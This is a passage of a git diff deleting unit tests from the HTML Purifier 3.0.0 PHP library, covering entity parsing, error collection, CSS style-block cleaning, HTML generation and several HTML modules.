'EE8080' ); // 0x0000E000 - $args[] = array(57343, false ); // 0x0000DFFF these are ill-formed - $args[] = array(56040, false ); // 0x0000DAE8 these are ill-formed - $args[] = array(55296, false ); // 0x0000D800 these are ill-formed - $args[] = array(55295, 'ED9FBF' ); // 0x0000D7FF - $args[] = array(53248, 'ED8080' ); // 0x0000D000 - $args[] = array(53247, 'ECBFBF' ); // 0x0000CFFF - $args[] = array(4096, 'E18080' ); // 0x00001000 - $args[] = array(4095, 'E0BFBF' ); // 0x00000FFF - $args[] = array(2048, 'E0A080' ); // 0x00000800 - $args[] = array(2047, 'DFBF' ); // 0x000007FF - $args[] = array(128, 'C280' ); // 0x00000080 invalid SGML char - $args[] = array(127, '7F' ); // 0x0000007F invalid SGML char - $args[] = array(0, '00' ); // 0x00000000 invalid SGML char - - $args[] = array(20108, 'E4BA8C' ); // 0x00004E8C - $args[] = array(77, '4D' ); // 0x0000004D - $args[] = array(66306, 'F0908C82'); // 0x00010302 - $args[] = array(1072, 'D0B0' ); // 0x00000430 - - foreach ($args as $arg) { - $string = '&#' . $arg[0] . ';' . // decimal - '&#x' . dechex($arg[0]) . ';'; // hex - $expect = ''; - if ($arg[1] !== false) { - // this is only for PHP 5, the below is PHP 5 and PHP 4 - //$chars = str_split($arg[1], 2); - $chars = array(); - // strlen must be called in loop because strings size changes - for ($i = 0; strlen($arg[1]) > $i; $i += 2) { - $chars[] = $arg[1][$i] . $arg[1][$i+1]; - } - foreach ($chars as $char) { - $expect .= chr(hexdec($char)); - } - $expect .= $expect; // double it - } - $this->assertIdentical( - $this->EntityParser->substituteNonSpecialEntities($string), - $expect, - 'Identical expectation [Hex: '. dechex($arg[0]) .']' - ); - } - - } - - function test_substituteSpecialEntities() { - $this->assertIdentical( - "'", - $this->EntityParser->substituteSpecialEntities('&#39;') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorEMock.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorEMock.php deleted file mode 100644 index 35ef017..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorEMock.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorCollector.php'; - -generate_mock_once('HTMLPurifier_ErrorCollector'); - -/** - * Extended error collector mock that has the ability to expect context - */ -class HTMLPurifier_ErrorCollectorEMock extends HTMLPurifier_ErrorCollectorMock -{ - - private $_context; - private $_expected_context = array(); - private $_expected_context_at = array(); - - public function prepare(&$context) { - $this->_context =& $context; - } - - public function expectContext($key, $value) { - $this->_expected_context[$key] = $value; - } - public function expectContextAt($step, $key, $value) { - $this->_expected_context_at[$step][$key] = $value; - } - - public function send($v1, $v2) { - // test for context - $context =& SimpleTest::getContext(); - $test =& $context->getTest(); - - // compat - if (empty($this->_mock)) { - $mock =& $this; - } else { - $mock =& $this->_mock; - } - - foreach ($this->_expected_context as $key => $value) { - $test->assertEqual($value, $this->_context->get($key)); - } - $step = $mock->getCallCount('send'); - if (isset($this->_expected_context_at[$step])) { - foreach ($this->_expected_context_at[$step] as $key => $value) { - $test->assertEqual($value, $this->_context->get($key)); - } - } - // boilerplate mock code, does not have return value or references - $args = func_get_args(); - $mock->_invoke('send', $args); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorTest.php deleted file mode 100644 index 0c8db72..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorTest.php +++ /dev/null @@ -1,141 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorCollector.php'; - -class HTMLPurifier_ErrorCollectorTest extends HTMLPurifier_Harness -{ - - function setup() { - generate_mock_once('HTMLPurifier_Language'); - generate_mock_once('HTMLPurifier_Generator'); - } - - function test() { - - $language = new HTMLPurifier_LanguageMock(); - $language->setReturnValue('getErrorName', 'Error', array(E_ERROR)); - $language->setReturnValue('getErrorName', 'Warning', array(E_WARNING)); - $language->setReturnValue('getMessage', 'Message 1', array('message-1')); - $language->setReturnValue('formatMessage', 'Message 2', array('message-2', array(1 => 'param'))); - $language->setReturnValue('formatMessage', ' at line 23', array('ErrorCollector: At line', array('line' => 23))); - $language->setReturnValue('formatMessage', ' at line 3', array('ErrorCollector: At line', array('line' => 3))); - - $line = false; - - $context = new HTMLPurifier_Context(); - $context->register('Locale', $language); - $context->register('CurrentLine', $line); - - $generator = new HTMLPurifier_Generator(); - $context->register('Generator', $generator); - - $collector = new HTMLPurifier_ErrorCollector($context); - - $line = 23; - $collector->send(E_ERROR, 'message-1'); - - $line = 3; - $collector->send(E_WARNING, 'message-2', 'param'); - - $result = array( - 0 => array(23, E_ERROR, 'Message 1'), - 1 => array(3, E_WARNING, 'Message 2') - ); - - $this->assertIdentical($collector->getRaw(), $result); - - $formatted_result = - '<ul><li><strong>Warning</strong>: Message 2 at line 3</li>'. - '<li><strong>Error</strong>: Message 1 at line 23</li></ul>'; - - $config = HTMLPurifier_Config::create(array('Core.MaintainLineNumbers' => true)); - - $this->assertIdentical($collector->getHTMLFormatted($config), $formatted_result); - - } - - function testNoErrors() { - $language = new HTMLPurifier_LanguageMock(); - $language->setReturnValue('getMessage', 'No errors', array('ErrorCollector: No errors')); - $context = new HTMLPurifier_Context(); - $context->register('Locale', $language); - - $generator = new HTMLPurifier_Generator(); - $context->register('Generator', $generator); - - $collector = new HTMLPurifier_ErrorCollector($context); - $formatted_result = '<p>No errors</p>'; - $config = HTMLPurifier_Config::createDefault(); - $this->assertIdentical($collector->getHTMLFormatted($config), $formatted_result); - } - - function testNoLineNumbers() { - $language = new HTMLPurifier_LanguageMock(); - $language->setReturnValue('getMessage', 'Message 1', array('message-1')); - $language->setReturnValue('getMessage', 'Message 2', array('message-2')); - $language->setReturnValue('getErrorName', 'Error', array(E_ERROR)); - $context = new HTMLPurifier_Context(); - $context->register('Locale', $language); - - $generator = new HTMLPurifier_Generator(); - $context->register('Generator', $generator); - - $collector = new HTMLPurifier_ErrorCollector($context); - $collector->send(E_ERROR, 'message-1'); - $collector->send(E_ERROR, 'message-2'); - - $result = array( - 0 => array(null, E_ERROR, 'Message 1'), - 1 => array(null, E_ERROR, 'Message 2') - ); - $this->assertIdentical($collector->getRaw(), $result); - - $formatted_result = - '<ul><li><strong>Error</strong>: Message 1</li>'. - '<li><strong>Error</strong>: Message 2</li></ul>'; - $config = HTMLPurifier_Config::createDefault(); - $this->assertIdentical($collector->getHTMLFormatted($config), $formatted_result); - } - - function testContextSubstitutions() { - - $language = new HTMLPurifier_LanguageMock(); - $context = new HTMLPurifier_Context(); - $context->register('Locale', $language); - - $generator = new HTMLPurifier_Generator(); - $context->register('Generator', $generator); - - $current_token = false; - $context->register('CurrentToken', $current_token); - - $collector = new HTMLPurifier_ErrorCollector($context); - - // 0 - $current_token = new HTMLPurifier_Token_Start('a', array('href' => 'http://example.com'), 32); - $language->setReturnValue('formatMessage', 'Token message', - array('message-data-token', array('CurrentToken' => $current_token))); - $collector->send(E_NOTICE, 'message-data-token'); - - $current_attr = 'href'; - $language->setReturnValue('formatMessage', '$CurrentAttr.Name => $CurrentAttr.Value', - array('message-attr', array('CurrentToken' => $current_token))); - - // 1 - $collector->send(E_NOTICE, 'message-attr'); // test when context isn't available - - // 2 - $context->register('CurrentAttr', $current_attr); - $collector->send(E_NOTICE, 'message-attr'); - - $result = array( - 0 => array(32, E_NOTICE, 'Token message'), - 1 => array(32, E_NOTICE, '$CurrentAttr.Name => $CurrentAttr.Value'), - 2 => array(32, E_NOTICE, 'href => http://example.com') - ); - $this->assertIdentical($collector->getRaw(), $result); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorsHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorsHarness.php deleted file mode 100644 index de05de1..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorsHarness.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorCollectorEMock.php'; -require_once 'HTMLPurifier/Lexer/DirectLex.php'; - -/** - * @todo Make the callCount variable actually work, so we can precisely - * specify what errors we want: no more, no less - */ -class HTMLPurifier_ErrorsHarness extends HTMLPurifier_Harness -{ - - protected $config, $context; - protected $collector, $generator, $callCount; - - function setup() { - $this->config = HTMLPurifier_Config::create(array('Core.CollectErrors' => true)); - $this->context = new HTMLPurifier_Context(); - generate_mock_once('HTMLPurifier_ErrorCollector'); - $this->collector = new HTMLPurifier_ErrorCollectorEMock(); - $this->collector->prepare($this->context); - $this->context->register('ErrorCollector', $this->collector); - $this->callCount = 0; - } - - function expectNoErrorCollection() { - $this->collector->expectNever('send'); - } - - function expectErrorCollection() { - $args = func_get_args(); - $this->collector->expectOnce('send', $args); - } - - function expectContext($key, $value) { - $this->collector->expectContext($key, $value); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php deleted file mode 100644 index 2dd99be..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php +++ /dev/null @@ -1,177 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php'; - -/** - * @todo Assimilate CSSTidy into our library - */ -class HTMLPurifier_Filter_ExtractStyleBlocksTest extends HTMLPurifier_Harness -{ - - // usual use case: - function test_tokenizeHTML_extractStyleBlocks() { - $purifier = new HTMLPurifier($this->config); - $purifier->addFilter(new HTMLPurifier_Filter_ExtractStyleBlocks()); - $result = $purifier->purify('<style type="text/css">.foo {text-align:center;bogus:remove-me;}</style>Test<style>* {font-size:12pt;}</style>'); - $this->assertIdentical($result, 'Test'); - $this->assertIdentical($purifier->context->get('StyleBlocks'), - array( - ".foo {\ntext-align:center;\n}", - "* {\nfont-size:12pt;\n}" - ) - ); - } - - function assertExtractStyleBlocks($html, $expect = true, $styles = array()) { - $filter = new HTMLPurifier_Filter_ExtractStyleBlocks(false); // disable cleaning - if ($expect === true) $expect = $html; - $result = $filter->preFilter($html, $this->config, $this->context); - $this->assertIdentical($result, $expect); - $this->assertIdentical($this->context->get('StyleBlocks'), $styles); - } - - function test_extractStyleBlocks_preserve() { - $this->assertExtractStyleBlocks('Foobar'); - } - - function test_extractStyleBlocks_allStyle() { - $this->assertExtractStyleBlocks('<style>foo</style>', '', array('foo')); - } - - function test_extractStyleBlocks_multipleBlocks() { - $this->assertExtractStyleBlocks( - "<style>1</style><style>2</style>NOP<style>4</style>", - "NOP", - array('1', '2', '4') - ); - } - - function test_extractStyleBlocks_blockWithAttributes() { - $this->assertExtractStyleBlocks( - '<style type="text/css">css</style>', - '', - array('css') - ); - } - - function test_extractStyleBlocks_styleWithPadding() { - $this->assertExtractStyleBlocks( - "Alas<styled>Awesome</styled>\n<style>foo</style> Trendy!", - "Alas<styled>Awesome</styled>\n Trendy!", - array('foo') - ); - } - - function assertCleanCSS($input, $expect = true) { - $filter = new HTMLPurifier_Filter_ExtractStyleBlocks(); - if ($expect === true) $expect = $input; - $this->normalize($input); - $this->normalize($expect); - $result = $filter->cleanCSS($input, $this->config, $this->context); - $this->assertIdentical($result, $expect); - } - - function test_cleanCSS_malformed() { - $this->assertCleanCSS('</style>', ''); - } - - function test_cleanCSS_selector() { - $this->assertCleanCSS("a .foo #id div.cl#foo {\nfont-weight:700;\n}"); - } - - function test_cleanCSS_angledBrackets() { - $this->assertCleanCSS( - ".class {\nfont-family:'</style>';\n}", - ".class {\nfont-family:'\\3C /style\\3E ';\n}" - ); - } - - function test_cleanCSS_angledBrackets2() { - // CSSTidy's behavior in this case is wrong, and should be fixed - //$this->assertCleanCSS( - // "span[title=\"</style>\"] {\nfont-size:12pt;\n}", - // "span[title=\"\\3C /style\\3E \"] {\nfont-size:12pt;\n}" - //); - } - - function test_cleanCSS_bogus() { - $this->assertCleanCSS("div {bogus:tree;}", "div {\n}"); - } - - function test_cleanCSS_escapeCodes() { - $this->assertCleanCSS( - ".class {\nfont-family:'\\3C /style\\3E ';\n}" - ); - } - - function test_cleanCSS_noEscapeCodes() { - $this->config->set('Filter', 'ExtractStyleBlocksEscaping', false); - $this->assertCleanCSS( - ".class {\nfont-family:'</style>';\n}" - ); - } - - function test_cleanCSS_scope() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo'); - $this->assertCleanCSS( - "p {\ntext-indent:1em;\n}", - "#foo p {\ntext-indent:1em;\n}" - ); - } - - function test_cleanCSS_scopeWithSelectorCommas() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo'); - $this->assertCleanCSS( - "b, i {\ntext-decoration:underline;\n}", - "#foo b, #foo i {\ntext-decoration:underline;\n}" - ); - } - - function test_cleanCSS_scopeWithNaughtySelector() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo'); - $this->assertCleanCSS(" + p {\ntext-indent:1em;\n}", ''); - } - - function test_cleanCSS_scopeWithMultipleNaughtySelectors() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo'); - $this->assertCleanCSS(" ++ ++ p {\ntext-indent:1em;\n}", ''); - } - - function test_cleanCSS_scopeWithCommas() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo, .bar'); - $this->assertCleanCSS( - "p {\ntext-indent:1em;\n}", - "#foo p, .bar p {\ntext-indent:1em;\n}" - ); - } - - function test_cleanCSS_scopeAllWithCommas() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', '#foo, .bar'); - $this->assertCleanCSS( - "p, div {\ntext-indent:1em;\n}", - "#foo p, #foo div, .bar p, .bar div {\ntext-indent:1em;\n}" - ); - } - - function test_cleanCSS_scopeWithConflicts() { - $this->config->set('Filter', 'ExtractStyleBlocksScope', 'p'); - $this->assertCleanCSS( -"div { -text-align:right; -} - -p div { -text-align:left; -}", - -"p div { -text-align:right; -} - -p p div { -text-align:left; -}" - ); - } - -} \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/GeneratorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/GeneratorTest.php deleted file mode 100644 index 97a06d2..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/GeneratorTest.php +++ /dev/null @@ -1,225 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Generator.php'; -require_once 'HTMLPurifier/EntityLookup.php'; - -require_once 'HTMLPurifier/ComplexHarness.php'; - -class HTMLPurifier_GeneratorTest extends HTMLPurifier_ComplexHarness -{ - - protected $gen; - protected $_entity_lookup; - protected $config; - - function HTMLPurifier_GeneratorTest() { - $this->HTMLPurifier_Harness(); - $this->gen = new HTMLPurifier_Generator(); - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - - function setUp() { - $this->obj = new HTMLPurifier_Generator(); - $this->func = null; - $this->to_tokens = false; - $this->to_html = false; - } - - function test_generateFromToken() { - - $inputs = $expect = array(); - - $inputs[0] = new HTMLPurifier_Token_Text('Foobar.<>'); - $expect[0] = 'Foobar.&lt;&gt;'; - - $inputs[1] = new HTMLPurifier_Token_Start('a', - array('href' => 'dyn?a=foo&b=bar') - ); - $expect[1] = '<a href="dyn?a=foo&amp;b=bar">'; - - $inputs[2] = new HTMLPurifier_Token_End('b'); - $expect[2] = '</b>'; - - $inputs[3] = new HTMLPurifier_Token_Empty('br', - array('style' => 'font-family:"Courier New";') - ); - $expect[3] = '<br style="font-family:&quot;Courier New&quot;;" />'; - - $inputs[4] = new HTMLPurifier_Token_Start('asdf'); - $expect[4] = '<asdf>'; - - $inputs[5] = new HTMLPurifier_Token_Empty('br'); - $expect[5] = '<br />'; - - // test fault tolerance - $inputs[6] = null; - $expect[6] = ''; - - // don't convert non-special characters - $theta_char = $this->_entity_lookup->table['theta']; - $inputs[7] = new HTMLPurifier_Token_Text($theta_char); - $expect[7] = $theta_char; - - foreach ($inputs as $i => $input) { - $result = $this->obj->generateFromToken($input); - $this->assertIdentical($result, $expect[$i]); - paintIf($result, $result != $expect[$i]); - } - - } - - function test_generateAttributes() { - - $inputs = $expect = array(); - - $inputs[0] = array(); - $expect[0] = ''; - - $inputs[1] = array('href' => 'dyn?a=foo&b=bar'); - $expect[1] = 'href="dyn?a=foo&amp;b=bar"'; - - $inputs[2] = array('style' => 'font-family:"Courier New";'); - $expect[2] = 'style="font-family:&quot;Courier New&quot;;"'; - - $inputs[3] = array('src' => 'picture.jpg', 'alt' => 'Short & interesting'); - $expect[3] = 'src="picture.jpg" alt="Short &amp; interesting"'; - - // don't escape nonspecial characters - $theta_char = $this->_entity_lookup->table['theta']; - $inputs[4] = array('title' => 'Theta is ' . $theta_char); - $expect[4] = 'title="Theta is ' . $theta_char . '"'; - - foreach ($inputs as $i => $input) { - $result = $this->obj->generateAttributes($input, 'irrelevant'); - $this->assertIdentical($result, $expect[$i]); - paintIf($result, $result != $expect[$i]); - } - - } - - function test_generateAttributes_minimized() { - $gen = new HTMLPurifier_Generator(); - $context = new HTMLPurifier_Context(); - $gen->generateFromTokens(array(), HTMLPurifier_Config::create(array('HTML.Doctype' => 'HTML 4.01 Transitional')), $context); - $result = $gen->generateAttributes(array('compact' => 'compact'), 'menu'); - $this->assertIdentical($result, 'compact'); - } - - function test_generateFromTokens() { - - $this->func = 'generateFromTokens'; - - $this->assertResult( - array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Foobar!'), - new HTMLPurifier_Token_End('b') - ), - '<b>Foobar!</b>' - ); - - $this->assertResult(array(), ''); - - } - - function assertGeneration($tokens, $expect) { - $context = new HTMLPurifier_Context(); - $result = $this->gen->generateFromTokens( - $tokens, $this->config, $context); - // normalized newlines, this probably should be put somewhere else - $result = str_replace("\r\n", "\n", $result); - $result = str_replace("\r", "\n", $result); - $this->assertIdentical($expect, $result); - } - - function test_generateFromTokens_Scripting() { - $this->config = HTMLPurifier_Config::createDefault(); - - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - new HTMLPurifier_Token_End('script') - ), - "<script><!--//--><![CDATA[//><!--\nalert(3 < 5);\n//--><!]]></script>" - ); - - // if missing close tag, don't do anything - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - ), - "<script>alert(3 &lt; 5);" - ); - - // if two script blocks, don't do anything - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - new HTMLPurifier_Token_Text('foo();'), - new HTMLPurifier_Token_End('script') - ), - "<script>alert(3 &lt; 5);foo();</script>" - ); - - - - $this->config = HTMLPurifier_Config::createDefault(); - $this->config->set('Core', 'CommentScriptContents', false); - - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - new HTMLPurifier_Token_End('script') - ), - "<script>alert(3 &lt; 5);</script>" - ); - } - - function test_generateFromTokens_XHTMLoff() { - $this->config = HTMLPurifier_Config::createDefault(); - $this->config->set('Core', 'XHTML', false); - - // omit trailing slash - $this->assertGeneration( - array( new HTMLPurifier_Token_Empty('br') ), - '<br>' - ); - - // there should be a test for attribute minimization, but it is - // impossible for something like that to happen due to our current - // definitions! fix it later - - // namespaced attributes must be dropped - $this->assertGeneration( - array( new HTMLPurifier_Token_Start('p', array('xml:lang'=>'fr')) ), - '<p>' - ); - - } - - function test_generateFromTokens_TidyFormat() { - // abort test if tidy isn't loaded - if (!extension_loaded('tidy')) return; - - $this->config = HTMLPurifier_Config::createDefault(); - $this->config->set('Core', 'TidyFormat', true); - $this->config->set('Output', 'Newline', "\n"); - - // nice wrapping please - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('div'), - new HTMLPurifier_Token_Text('Text'), - new HTMLPurifier_Token_End('div') - ), - "<div>\n Text\n</div>\n" - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLDefinitionTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLDefinitionTest.php deleted file mode 100644 index 28fb28c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLDefinitionTest.php +++ /dev/null @@ -1,106 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLDefinition.php'; - -class HTMLPurifier_HTMLDefinitionTest extends HTMLPurifier_Harness -{ - - function test_parseTinyMCEAllowedList() { - - $def = new HTMLPurifier_HTMLDefinition(); - - // note: this is case-sensitive, but its config schema - // counterpart is not. This is generally a good thing for users, - // but it's a slight internal inconsistency - - $this->assertEqual( - $def->parseTinyMCEAllowedList(''), - array(array(), array()) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a,b,c'), - array(array('a' => true, 'b' => true, 'c' => true), array()) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a[x|y|z]'), - array(array('a' => true), array('a.x' => true, 'a.y' => true, 'a.z' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('*[id]'), - array(array(), array('*.id' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a[*]'), - array(array('a' => true), array('a.*' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('span[style],strong,a[href|title]'), - array(array('span' => true, 'strong' => true, 'a' => true), - array('span.style' => true, 'a.href' => true, 'a.title' => true)) - ); - - $this->assertEqual( - // alternate form: - $def->parseTinyMCEAllowedList( -'span[style] -strong -a[href|title] -'), - array(array('span' => true, 'strong' => true, 'a' => true), - array('span.style' => true, 'a.href' => true, 'a.title' => true)) - ); - - } - - function test_Allowed() { - - $config1 = HTMLPurifier_Config::create(array( - 'HTML.AllowedElements' => array('b', 'i', 'p', 'a'), - 'HTML.AllowedAttributes' => array('a.href', '*.id') - )); - - $config2 = HTMLPurifier_Config::create(array( - 'HTML.Allowed' => 'b,i,p,a[href],*[id]' - )); - - $this->assertEqual($config1->getHTMLDefinition(), $config2->getHTMLDefinition()); - - } - - function test_addAttribute() { - - $config = HTMLPurifier_Config::create(array( - 'HTML.DefinitionID' => 'HTMLPurifier_HTMLDefinitionTest->test_addAttribute' - )); - $def =& $config->getHTMLDefinition(true); - $def->addAttribute('span', 'custom', 'Enum#attribute'); - - $purifier = new HTMLPurifier($config); - $input = '<span custom="attribute">Custom!</span>'; - $output = $purifier->purify($input); - $this->assertIdentical($input, $output); - - } - - function test_addElement() { - - $config = HTMLPurifier_Config::create(array( - 'HTML.DefinitionID' => 'HTMLPurifier_HTMLDefinitionTest->test_addElement' - )); - $def =& $config->getHTMLDefinition(true); - $def->addElement('marquee', 'Inline', 'Inline', 'Common', array('width' => 'Length')); - - $purifier = new HTMLPurifier($config); - $input = '<span><marquee width="50">Foobar</marquee></span>'; - $output = $purifier->purify($input); - $this->assertIdentical($input, $output); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ObjectTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ObjectTest.php deleted file mode 100644 index 44e1ffa..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ObjectTest.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModuleHarness.php'; - -class HTMLPurifier_HTMLModule_ObjectTest extends HTMLPurifier_HTMLModuleHarness -{ - - function setUp() { - parent::setUp(); - $this->config->set('HTML', 'Trusted', true); - } - - function testDefaultRemoval() { - $this->config->set('HTML', 'Trusted', false); - $this->assertResult( - '<object></object>', '' - ); - } - - function testMinimal() { - $this->assertResult('<object></object>'); - } - - function testStandardUseCase() { - $this->assertResult( -'<object type="video/x-ms-wmv" data="http://domain.com/video.wmv" width="320" height="256"> -<param name="src" value="http://domain.com/video.wmv" /> -<param name="autostart" value="false" /> -<param name="controller" value="true" /> -<param name="pluginurl" value="http://www.microsoft.com/Windows/MediaPlayer/" /> -<a href="http://www.microsoft.com/Windows/MediaPlayer/">Windows Media player required</a> -</object>' - ); - } - - // more test-cases? - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/RubyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/RubyTest.php deleted file mode 100644 index 15abbcb..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/RubyTest.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModuleHarness.php'; - -class HTMLPurifier_HTMLModule_RubyTest extends HTMLPurifier_HTMLModuleHarness -{ - - function setUp() { - parent::setUp(); - $this->config->set('HTML', 'Doctype', 'XHTML 1.1'); - } - - function testBasicUse() { - $this->assertResult( - '<ruby><rb>WWW</rb><rt>World Wide Web</rt></ruby>' - ); - } - - function testRPUse() { - $this->assertResult( - '<ruby><rb>WWW</rb><rp>(</rp><rt>World Wide Web</rt><rp>)</rp></ruby>' - ); - } - - function testComplexUse() { - $this->assertResult( -'<ruby> - <rbc> - <rb>10</rb> - <rb>31</rb> - <rb>2002</rb> - </rbc> - <rtc> - <rt>Month</rt> - <rt>Day</rt> - <rt>Year</rt> - </rtc> - <rtc> - <rt rbspan="3">Expiration Date</rt> - </rtc> -</ruby>' - ); - - /* not implemented - function testBackwardsCompat() { - $this->assertResult( - '<ruby>A<rp>(</rp><rt>aaa</rt><rp>)</rp></ruby>', - '<ruby><rb>A</rb><rp>(</rp><rt>aaa</rt><rp>)</rp></ruby>' - ); - } - */ - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ScriptingTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ScriptingTest.php deleted file mode 100644 index 7f4151f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ScriptingTest.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModuleHarness.php'; - -class HTMLPurifier_HTMLModule_ScriptingTest extends HTMLPurifier_HTMLModuleHarness -{ - - function setUp() { - parent::setUp(); - $this->config->set('HTML', 'Trusted', true); - $this->config->set('Core', 'CommentScriptContents', false); - } - - function testDefaultRemoval() { - $this->config->set('HTML', 'Trusted', false); - $this->assertResult( - '<script type="text/javascript">foo();</script>', '' - ); - } - - function testPreserve() { - $this->assertResult( - '<script type="text/javascript">foo();</script>' - ); - } - - function testCDATAEnclosure() { - $this->assertResult( -'<script type="text/javascript">//<![CDATA[ -alert("<This is compatible with XHTML>"); -//]]></script>' - ); - } - - function testAllAttributes() { - $this->assertResult( - '<script - defer="defer" - src="test.js" - type="text/javascript" - >PCDATA</script>' - ); - } - - function testUnsupportedAttributes() { - $this->assertResult( - '<script - type="text/javascript" - charset="utf-8" - >PCDATA</script>', - '<script type="text/javascript">PCDATA</script>' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/TidyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/TidyTest.php deleted file mode 100644 index f2522d9..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/TidyTest.php +++ /dev/null @@ -1,229 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule/Tidy.php'; - -Mock::generatePartial( - 'HTMLPurifier_HTMLModule_Tidy', - 'HTMLPurifier_HTMLModule_Tidy_TestForConstruct', - array('makeFixes', 'makeFixesForLevel', 'populate') -); - -class HTMLPurifier_HTMLModule_TidyTest extends HTMLPurifier_Harness -{ - - function test_getFixesForLevel() { - - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->fixesForLevel['light'][] = 'light-fix'; - $module->fixesForLevel['medium'][] = 'medium-fix'; - $module->fixesForLevel['heavy'][] = 'heavy-fix'; - - $this->assertIdentical( - array(), - $module->getFixesForLevel('none') - ); - $this->assertIdentical( - array('light-fix' => true), - $module->getFixesForLevel('light') - ); - $this->assertIdentical( - array('light-fix' => true, 'medium-fix' => true), - $module->getFixesForLevel('medium') - ); - $this->assertIdentical( - array('light-fix' => true, 'medium-fix' => true, 'heavy-fix' => true), - $module->getFixesForLevel('heavy') - ); - - $this->expectError('Tidy level turbo not recognized'); - $module->getFixesForLevel('turbo'); - - } - - function test_construct() { - - $i = 0; // counter, helps us isolate expectations - - // initialize partial mock - $module = new HTMLPurifier_HTMLModule_Tidy_TestForConstruct(); - $module->fixesForLevel['light'] = array('light-fix-1', 'light-fix-2'); - $module->fixesForLevel['medium'] = array('medium-fix-1', 'medium-fix-2'); - $module->fixesForLevel['heavy'] = array('heavy-fix-1', 'heavy-fix-2'); - - $j = 0; - $fixes = array( - 'light-fix-1' => $lf1 = $j++, - 'light-fix-2' => $lf2 = $j++, - 'medium-fix-1' => $mf1 = $j++, - 'medium-fix-2' => $mf2 = $j++, - 'heavy-fix-1' => $hf1 = $j++, - 'heavy-fix-2' => $hf2 = $j++ - ); - $module->setReturnValue('makeFixes', $fixes); - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'none' - )); - $module->expectAt($i++, 'populate', array(array())); - $module->construct($config); - - // basic levels - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'light' - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'light-fix-2' => $lf2 - ))); - $module->construct($config); - - $config = HTMLPurifier_Config::create(array( - 